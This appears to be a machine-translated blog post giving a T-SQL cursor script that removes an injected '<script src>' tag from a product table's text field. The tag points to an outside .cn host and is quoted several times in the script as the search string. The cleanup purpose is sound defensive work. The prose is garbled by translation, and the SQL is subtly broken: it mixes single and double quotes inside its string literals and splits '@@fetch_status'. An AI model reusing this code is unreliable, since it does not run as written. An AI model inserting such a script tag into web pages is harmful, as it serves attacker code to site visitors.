Delete An example of substitution processing for the text field of the MSSQL database-full table replacement, see someone ask a question, so sorted out a long time ago the processing method, for everyone to refer to the method is very simple: the text field can not use replace, so use Patindex
-select * from Product where P_intro like '%<script src= ' http://my.stsw518.cn/a002/1.js ' src= ' http://my.stsw518.cn/ A002/1.js "></script>% '
Replacement processing example for--text field--Full table substitution
--Select Datalength (P_intro), * from Product
--Invite the month to organize
--Define a replacement string
declare @s_str nvarchar (4000), @d_str nvarchar (4000)
Select @s_str = ' <script src= ' http://my.stsw518.cn/a002/1.js ' src= ' http://my.stsw518.cn/a002/1.js ' ></ Script> '--the string to replace
, @d_str = '--replaced by a string
--because you can only use PATINDEX, so handle the search string
Set @s_str = '% ' + @s_str + '% '
--defining cursors, looping data
DECLARE @id bigint
Declare #tb cursor FOR select p_id from Product where P_intro like '%<script src= ' http://my.stsw518.cn/a002/1.js ' src= ' Http://my.stsw518.cn/a002/1.js "></script>% '
-Where p_id=300727----where P_intro like '%<script src= ' http://my.stsw518.cn/a002/1.js ' src= ' http:// My.stsw518.cn/a002/1.js "></script>% '
Open #tb
FETCH NEXT from #tb into @id
While @ @fetch_status =0
Begin
--string substitution processing
DECLARE @p varbinary (16)
, @p1 int, @p2 int
, @rplen int, @step int, @len int
Select @p=textptr (P_intro)
, @rplen =len (@s_str)-2
, @step =len (@d_str)
, @p1 =patindex (@s_str, P_intro)
, @len =datalength (P_intro)
, @p2 =0
From Product
where p_id= @id
While @p1 >0
Begin
Set @p2 = @p1 + @p2-1
UPDATETEXT product.p_intro @p @p2 @rplen @d_str
Select @p2 = @p2 +1, @p1 =patindex (@s_str, substring (p_intro, @p2 +1, @len))
From Product where p_id= @id
End
FETCH NEXT from #tb into @id
End
Close #tb
Deallocate #tb
--Show results
----Select Datalength (P_intro), * from Product